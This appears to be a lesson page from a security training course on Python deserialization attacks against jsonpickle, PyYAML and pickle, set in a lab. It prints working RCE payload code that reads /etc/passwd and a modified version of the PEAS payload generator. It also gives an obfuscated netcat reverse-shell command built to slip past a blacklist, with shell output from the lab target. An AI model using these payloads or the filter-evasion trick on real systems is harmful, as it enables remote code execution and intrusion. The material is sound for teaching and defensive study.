Introduction to Deserialization Attacks
Tools of the Trade
Current State
There are no tools for Python deserialization attacks as popular as PHPGGC for PHP. However, the attack vectors are relatively simple and very well-documented.
As I mentioned in a previous section, pickle is the default serialization library that comes with Python. However, multiple other libraries offer serialization. These libraries include JSONPickle and PyYAML.
JSONPickle
The technique for deserialization attacks in JSONPickle is essentially the same as for Pickle. In both cases, you will create a payload using the object.__reduce__() function. The resulting serialized object will just look a little different.
An example script of generating an RCE payload and the "vulnerable code" deserializing the payload can be seen below:
import jsonpickle
import os
class RCE():
def __reduce__(self):
return os.system, ("head /etc/passwd",)
# Serialize (generate payload)
exploit = jsonpickle.encode(RCE())
print(exploit)
# Deserialize (vulnerable code)
jsonpickle.decode(exploit)
Running the example script results in proof of code execution:
[!bash!]$ python3 jsonpickle-example.py
{"py/reduce": [{"py/function": "posix.system"}, {"py/tuple": ["head /etc/passwd"]}]}
root:x:0:0:root:/root:/usr/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
Some good content covering attacks for JSONPickle and Pickle are:
- https://davidhamann.de/2020/04/05/exploiting-python-pickle/
- https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/
YAML (PyYAML, ruamel.yaml)
These libraries serialize data into YAML format. Once again, we can serialize an object with a __reduce__ function to get command execution. The serialized data will be in YAML format this time. Ruamel.yaml is based on PyYAML, so the same attack technique works for both:
import yaml
import subprocess
class RCE():
def __reduce__(self):
return subprocess.Popen(["head", "/etc/passwd"])
# Serialize (Create the payload)
exploit = yaml.dump(RCE())
print(exploit)
# Deserialize (vulnerable code)
yaml.load(exploit)
Running the example script will demonstrate command execution. There is a long error message. However, the command is still run, so our goal is met.
[!bash!]$ python3 yaml-example.py
Traceback (most recent call last):
File "/home/kali/Pen/htb/academy/work/Introduction-to-Deserialization-Attacks/3-Exploiting-Python-Deserialization/yaml-example.py", line 11, in <module>
exploit = yaml.dump(RCE())
File "/home/kali/.local/lib/python3.10/site-packages/yaml/__init__.py", line 290, in dump
return dump_all([data], stream, Dumper=Dumper, **kwds)
File "/home/kali/.local/lib/python3.10/site-packages/yaml/__init__.py", line 278, in dump_all
dumper.represent(data)
File "/home/kali/.local/lib/python3.10/site-packages/yaml/representer.py", line 27, in represent
node = self.represent_data(data)
File "/home/kali/.local/lib/python3.10/site-packages/yaml/representer.py", line 52, in represent_data
node = self.yaml_multi_representers[data_type](self, data)
File "/home/kali/.local/lib/python3.10/site-packages/yaml/representer.py", line 322, in represent_object
reduce = (list(reduce)+[None]*5)[:5]
TypeError: 'Popen' object is not iterable
root:x:0:0:root:/root:/usr/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
For further information, I recommend checking out the following links:
- https://net-square.com/yaml-deserialization-attack-in-python.html
- https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PEAS
PEAS is a multi-tool which can generate Python deserialization payloads for Pickle, JSONPickle, PyYAML and ruamel.yaml. I will demonstrate its use against HTBook GmbH & Co KG's website from the previous sections.
Installation is straightforward; just clone the repository from Github...
[!bash!]$ git clone https://github.com/j0lt-github/python-deserialization-attack-payload-generator.git
Cloning into 'python-deserialization-attack-payload-generator'...
remote: Enumerating objects: 97, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 97 (delta 0), reused 0 (delta 0), pack-reused 94
Receiving objects: 100% (97/97), 35.46 KiB | 2.36 MiB/s, done.
Resolving deltas: 100% (49/49), done.
... and install the Python requirements with pip:
[!bash!]$ cd python-deserialization-attack-payload-generator/
[!bash!]$ pip3 install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Collecting jsonpickle==1.2
Downloading jsonpickle-1.2-py2.py3-none-any.whl (32 kB)
Collecting PyYAML==5.1.2
...
We can generate a payload for Pickle using the command we used in the previous section to bypass the blacklist filter in place like so:
[!bash!]$ python3 peas.py
Enter RCE command :n''c -nv 172.17.0.1 9999 -e /bin/s''h
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/payload
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :pickle
Done Saving file !!!!
Unfortunately, starting a Netcat listener and updating the cookie's value does not result in a reverse shell as expected, but rather an Internal Server Error.
Let's investigate why this is. If we decode the payload, we can see the strings subprocess and Popen, both of which we know are blocked by the blacklist filter in util/auth.py:
[!bash!]$ cat payload_pick | base64 -d
j
subprocessPopenpython-cX8exec(ch...SNIP...(41))R.
Taking a look at the source code for peas.py we see that subprocess.Popen is indeed in use here.
...
class Gen(object):
def __init__(self, payload):
self.payload = payload
def __reduce__(self):
return subprocess.Popen, (self.payload,)
...
At this point, we see we would need to make a couple of modifications to this tool for it to actually work (in this scenario). Alternatively, we could create a custom payload using our knowledge, but for the sake of this example, I will walk through how to get peas.py working. Inside peas.py you need to make the following changes:
- Swap
subprocess.Popenout foros.system - Modify the argument generation as
os.systemaccepts a string instead of an array likesubproces.Popen
It should look like this:
#import subprocess
import os
...
#return subprocess.Popen, (self.payload,)
return (os.system, (self.payload,))
...
#self.payload = pickle.dumps(Gen(tuple(self.case().split(" "))))
self.payload = pickle.dumps(Gen(self.case()))
...
#cmd = self.prefix+"python -c exec({})".format(self.chr_encode("__import__('os').system"
cmd = self.prefix+"python -c 'exec({})'".format(self.chr_encode("__import__('os').system"
...
We can try generating the payload again with the modified version of peas.py:
[!bash!]$ python3 peas.py
Enter RCE command :n''c -nv 172.17.0.1 9999 -e /bin/s''h
Enter operating system of target [linux/windows] . Default is linux :
Want to base64 encode payload ? [N/y] :y
Enter File location and name to save :/tmp/payload
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :pickle
Done Saving file !!!!
You may notice that the generated payload is much longer than the one we created ourselves. This is (mainly) because peas.py encodes strings with chr() so they end up looking like chr(61) + chr(62) + chr(60) + .... Anyways, starting a local Netcat listener and pasting the cookie value in should now work and give us a reverse shell:
[!bash!]$ nc -nvlp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:39385.
ls -l
total 56
-rw-r--r-- 1 root root 184 Oct 11 12:55 Dockerfile
drwxr-xr-x 1 root root 4096 Oct 11 18:18 __pycache__
-rw-r--r-- 1 root root 2038 Oct 11 12:57 app.py
-rw-r--r-- 1 root root 37 Oct 10 16:51 flag.txt
-rw-r--r-- 1 root root 20480 Oct 11 18:18 htbooks.sqlite3
-rw-r--r-- 1 root root 27 Oct 11 12:59 requirements.txt
drwxr-xr-x 4 root root 4096 Oct 10 16:51 static
drwxr-xr-x 2 root root 4096 Oct 10 16:51 templates
drwxr-xr-x 1 root root 4096 Oct 10 16:51 util
Table of Contents
Introduction
Introduction to Serialization Introduction to Deserialization AttacksExploiting PHP Deserialization
Identifying a Vulnerability (PHP) Object Injection (PHP) RCE: Magic Methods RCE: Phar Deserialization Tools of the TradeExploiting Python Deserialization
Identifying a Vulnerability (Python) Object Injection (Python) Remote Code Execution Tools of the TradeDefending against Deserialization Attacks
Patching Deserialization Vulnerabilities Avoiding Deserialization VulnerabilitiesSkills Assessment
Skills Assessment I Skills Assessment IIMy Workstation
OFFLINE
/ 1 spawns left